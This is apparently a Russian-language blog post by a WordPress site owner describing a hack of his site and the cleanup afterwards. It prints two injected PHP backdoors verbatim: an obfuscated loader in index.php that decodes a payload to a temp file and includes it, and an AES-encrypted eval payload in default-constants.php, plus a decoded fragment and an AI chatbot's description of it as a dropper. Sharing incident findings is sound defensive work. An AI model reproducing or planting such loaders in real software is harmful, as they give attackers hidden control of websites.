Кому понадобился в очередной раз мой сайт – не понятно, да и не очень важно. В какой-то момент я заметил, что сайт не открывается. Написал в саппорт. Там сказали, что заметили подозрительную сетевую активность. Полез искать, что на сей раз испортили. Обратил внимание на даты изменения некоторых файлов. Внутри измененных файлов нашел таки закладку. Вот как это выглядит:
В файле index.php был вставлен следующий код:
$frameVector = ['verifyEquals','secretRoot','randomSeed','payloadIvs','validateEquals','publicKeyString'];
$obtainPublicKey = ['base64_decode','gzuncompress','file_put_contents','tempnam','sys_get_temp_dir','unlink'];
$inputsVector = 'eJztVttSG0cQfVeV/6FtK5ZkiARIdjkWwqGwjF3lACVE8kCIarTbuztod2Y1l5VWKf97enZXF3iIyUseUhGUmFuf7uk+fYbjD2mU1o7e9bo/9Wud169r8Bo8maRMMcMzpLHQqLJywpNUKgMx91B4CKlCt4egMLQxMwg6UlzMQMvALJjCtkNjxnBjfYQpUyHj4gF8iIJbDdL3wRC0VQhGsZS+kJm8tE/TmFmNELBMKjaNnZWMZZhDjExAxqcEVvr6OWXejIUIv0nlX1F4mlY7tWe1enaQwQAaEbPmPjOzeaqy94HuSNOR4M3Bt1ZMs/ZsxZcLxT2ZzoWOPI9CpaA1pqsoX0mNOl0aIbhGsboP06SNvrfKJNhkGXWWFCkmKTAGUxloERtmg2ihMPhR6YO57s3g0M/fZvNOJplKUz3jfHWUL7pmdRDNj2DanuVpfh+Rk1XU6LuYD13M2qgYRdPdoOVWhVxYFbvLuEOBVM06Hxz0oc6PnYUb7O21/nxWA/rwoElz+AG6MBjAAazX3WeN1B6AA7+t87t+ufvtWY1+KzZs6kfJSKzgJgcfp4a+PJZDKOMAUqZ1wQyFwkcFGVNV7YgF/g6HpIBIasOphlwYVAGqaiRYTNZaxgWd6M7cM0CO44pEyou4QVp7AIbLFGkKCdeGolCGe0REFee7BKKiREzzlSMslwoMmTjjjIW2RJ8S75iFhC15YhPyH/OQS+KltlPtbl/R60sRKdLdibuK/JJ/d213g9CREKRwyNQYWWGvmCAyUtLm9rsE7bliM6VY3izqnHXdwr2WYkLdJn2kSk6uh6NfhyPYo+HV5fUYypO97LbBWWLnhqdR4w5cQbvZY3YcPaRG5cAjCkw4lbXw6jaKFY1GpqZZnNqHs5vR18ur8YT+7G9484Tzn4enH4ejfWrdmLL1BIPRcHwzuhiPTi+uPzlDo+yT7Fwy/tnpT1+GXz9e021c4p9gc3Z5cTE8G4+//DK8vCFf3YONVT17s8kkLtErTYtt91P1IdcE3KxPzofj2wZ1kA0bdy149QoeLrk+PXTLRKJwkjDjRc3Gyz8ivv+SN/Y3FLhtfB6PryanZ2dDCu7r6cX5zen5kBB3Oxy9SELjmNhKKpLHOHjhc01qmr8HIQX2X5w0+o9Ou7vsri252YpCOfhfF/5FXSjJA014vsMHaHSOAx6T05Nme+9D6/j3TjXtcO1IQkXcL0QdWtDaVpNyZLiw2F+XsmJuuOIicA94kx5pjW97EypiqTjuYTi8czA7Rltl2p5zHjf994gq/8F/KNaPK9eTUrOrni9e2G3GSYCRUcWKTaahPsN8cFLP9G6bFkl1O4Vw6532+7aLtdWQcIHJIlbaK/VjO30EGiGjtts9/33szEZmufJ9W2Jvp4+wK7VYb/d30SrE52tMIX2OJV45bD08+0hpqujWwymlcLbBL8L+VlKsohd1GytbNypoxOMYQ9INzWlGBNBWp9xz+9TivqOC8NdMUJKa3zGNkbJECZJSOAWLuaCmTbiTLo2J44iOrCHZKcXHSRkvtKYA8jFwGhTGUhX9HdulVXnF3tJVHCLRijhrqE9zCDBhjniWiEsqgXBP1NPg2qEIlPukVZS+v9eHWu9Nt/eu/xdS/6uV';
foreach($obtainPublicKey as $key=>$vs){
$protectedEquals = $frameVector[$key];
$$protectedEquals = $vs;
}
$assertPlatform = $verifyEquals($inputsVector);
$exportPublicKey = $secretRoot($assertPlatform);
$buildAuthTag = $payloadIvs($validateEquals(), 'php_');
if($randomSeed($buildAuthTag, $exportPublicKey)){
include $buildAuthTag;
$publicKeyString($buildAuthTag);
}
Если декодировать, то получается такой текст:
Что делает этот код: '; echo $v5v; exit; } /** * attitude community debt decay golf passport render vary. * award conservation hostile interfere internal resolve restrict title. * architect conservation expense mist particularly treaty. * emphasize prior tension vague. * bureau maximum religious substitute. * Internet diverse export integrate onion previous range unique. * @package WordPress */ if ( !preg_match( '/(.+?)<\/filter>/is', $v5v, $v0v ) ) continue; $v5v = gzinflate( base64_decode( $v0v[1] ) ); $v3v = json_decode( $v5v, true ); /** * comparative conservative import licence preserve regulate shrink software. * attitude bargain comparative genius odd torture trap treaty. * applause favorable geology lean vibrate. * @package WordPress */ if( is_array( $v3v ) ){ foreach($v3v as $key=>$vs){ $$key = $vs; } if(isset($gwemwlrsc) && $gwemwlrsc){ header($gwemwlrsc); } if(isset($vuhtxzddu) && $vuhtxzddu){ echo $vuhtxzddu; if(!(isset($nodie) && $nodie)) exit; } break; } } /** * expansion hence illegal sincere suspicion tend trend. * appropriate arichmetic decline omit resemble shuttle title variation. * defect glorious luxury shrink. * algebra battery female guarantee jeans portion tidy tissue. * @package WordPress */ 45348;
Спросил у deepseek о том, что делает этот код. Он ответил так:
Это дроппер (dropper) или лоадер (loader), который:
- Ищет в данных (вероятно, полученных откуда-то) секцию
<filter>...содержимое...</filter> - Распаковывает её содержимое
- Превращает JSON-ключи в переменные PHP
- Устанавливает заголовки и выводит контент по указанию из распакованных данных
В файле /wp-includes/default-constants.php был вставлен следующий код:
$gitStructuredData = 'l8Q78KhcJ8z/Hkk5o0xEL5t6N+q+CNKIP/PBqYvOlPpIpPqIKVAJRJYJaf7F5nYksjr2hbVCpY2Z0tiFDOKBgL9JPDT0nGjI9wqH0zeiMFlCDFDrQvK9tcT5iPOYl99m8ZwJxe1u3F6zt7NQ+1vr3xaMB9aNZvhpsUjLWHQJa5dyElXXlx9/U8demKgXcUE/+ehZqjKjiepc3J4MlxBAn+a66YftYR3qhcw3A4FOZj1L41bsvrtcB3lvaTr5t/0tmrE8xR1EiRSZpo4rL4bSc0m/L5SrISNoofhGWHIuxNB39rnJfwBLnman4yHTlae1rmsRK9YyRPhRpWsLFrHP8W03qxcwIVgLvo7IEFDopOeOfb9+0j9xZOVw4+J95CtSeOs71sFx7GjWsqew+6Vv0TM9TielWLA+K5AElUKQdasYhSlcjMv8DkfezhuFo8hwG3yqNKLfKC3KKTKWbkCUIJFpvpco0PaG3ZqjzH0MEhXEPdFrq1Wrq3HzC7O3NjNWtVo522x6maamyPjvXFUWTlr7VAunZoA4zL2tc0Be2LbwFQGjZaXi45FekvhPYrIwqWJw35I/0DzokxZnOz4azj6YrZg1X+lokw9tqa8oWuvgdDyBbXTTo1BGQK0wOEUWi86bcdDOsfD5OXA3DAiFdugV42EgHUF5HvaC2T4wNqtoos2RhhGDhvu/SHSMjLXULQg5Y6xPMP/8OXxcjnMM67VoDw6QmsrFeaXg8/+oBMya8D/wlMklwlCm6itG0dZDQkwzjlKZLXNFwBX6VzKLtQ0RtJ4LEJvUzLcSwJ8HU/GtnWiWJ4MBZo/1df77Mqh0yBBXwk7vXrKyz13IQBA1hdFGRo8HMwyCcVnTHowjs06ip/+CPrjwJREcOrIPhjWxPGlG4pJBWnPeJwoKr/QXQxRQShhoHUk6vp7Co5alpE1An3ZD8enL32P5a/9oaQkdCXwPKFhxdd6BpKJvLk8DvvbMbGLs4tiYdVRFuiU3R+spS0eV74acTTB1EclUT7QW90DTUQU7XOGt3BslpEF5gbqAxmEH1yiD0ZPvPzjDyRTEmGcmGszc/zAuvaqarxq/dctOqYXBhKTfF3v4S55uNVlE07obSy0HifcX7kAUztNPNxoWdLujkxiFYrdp+BcT1R3fYLY+me61bG9UDuVSLJQmntNq12PscifpQIrEMyXZKNaCL98UU+j+Q9Y46ZCzk7AU0IkgxtyREHQUBkFNg/M5uRGkEwpl7ZPEjsELCRs1PMjfQWOYQ5lARbV9J/ttzN08Z6INX1GpnoIWjsqcqC2AJs3S39m5NvvRLn71N7J+5hikBeh6OFbrkzfghQAloaZ6yuJaGoZx3WdcanqhjAMfgxjVj6ZJAl289pFeT7OyDay8tFL7Coq/UiCeKlmObXrQNh/owc90oLprEncus1OiGj5BYitoBrrOxtBwH9TSPQpwGzaVJU8611XMRqcXrT+XVdfT5m306wlBlJZRLdHOOQvRuT5g2n9D7antSBIBgS95fHep9Kw5N77YPxbmsIN7UJ5wGygeF6vegsJI9E7SaJ/TTIzvjjToewaPFM3JWwPR4EKMCNoeNwd/J57f+TApFsvCTojAm1WeOkOYaNg6NXePeDId9eoF7/08DjosTdXH0cN4byhYbdyvEn4M8+c5n0o9CCavK6bKAFOGSu7hvn8WWW7RhmYBYU1l/sw=';eval(gzuncompress(openssl_decrypt(substr(base64_decode($gitStructuredData),48),'AES-256-CBC',hash('sha256','eb72274af73bc9553c9568bccc5824ff5fee967281c52c3a4851bf1542a7c1fd',true),OPENSSL_RAW_DATA,substr(base64_decode($gitStructuredData),0,16))));
Интересная конструкция. Разбираться дальше просто лень. Обновил все. Бэкапы все есть, так что пофиг. Ну и обновления были выключены автоматические. Пришлось включать. В конфиге была строка: define(‘DISALLOW_FILE_MODS’, true); – ее надо было просто удалить.